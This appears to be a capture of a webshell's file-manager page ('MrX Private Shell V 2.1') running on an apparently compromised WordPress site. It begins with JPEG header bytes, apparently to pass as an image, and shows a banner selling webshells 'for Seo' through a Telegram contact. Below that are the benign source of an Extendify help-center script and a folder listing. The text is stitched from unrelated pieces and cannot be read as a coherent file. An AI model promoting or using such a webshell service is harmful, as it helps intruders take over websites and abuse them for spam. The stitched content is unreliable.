����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { AdminBar } from '@help-center/components/buttons/AdminBar';
import { PostEditor } from '@help-center/components/buttons/PostEditor';
import { render } from '@shared/lib/dom';
import { isOnLaunch } from '@shared/lib/utils';
import { useEffect } from '@wordpress/element';
import { registerPlugin } from '@wordpress/plugins';
// Global toolbar
(() => {
if (isOnLaunch()) return;
const id = 'wp-admin-bar-help-center-btn';
if (document.getElementById(id)) return;
const helpCenter = Object.assign(document.createElement('li'), {
className: 'extendify-help-center',
id,
});
document.querySelector('#wp-admin-bar-my-account')?.after(helpCenter);
render(<AdminBar />, helpCenter);
})();
// In editor
registerPlugin('extendify-help-center-buttons', {
render: () => <HelpCenterButton />,
});
const HelpCenterButton = () => {
useEffect(() => {
if (isOnLaunch()) return;
const id = 'extendify-gtnbrg-help-center-btn';
if (document.getElementById(id)) return;
const helpCenter = Object.assign(document.createElement('span'), {
className: 'extendify-help-center',
id,
});
setTimeout(() => {
if (document.getElementById(id)) return;
const page = '[aria-controls="edit-post:document"]';
const fse = '[aria-controls="edit-site:template"]';
document.querySelector(page)?.after(helpCenter);
document.querySelector(fse)?.after(helpCenter);
render(<PostEditor />, helpCenter);
}, 500);
}, []);
return null;
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| components | Folder | 0755 |
|
|
| hooks | Folder | 0755 |
|
|
| lib | Folder | 0755 |
|
|
| pages | Folder | 0755 |
|
|
| state | Folder | 0755 |
|
|
| tours | Folder | 0755 |
|
|
| HelpCenter.jsx | File | 1.2 KB | 0644 |
|
| buttons.js | File | 1.42 KB | 0644 |
|
| help-center.css | File | 637 B | 0644 |
|
| help-center.js | File | 671 B | 0644 |
|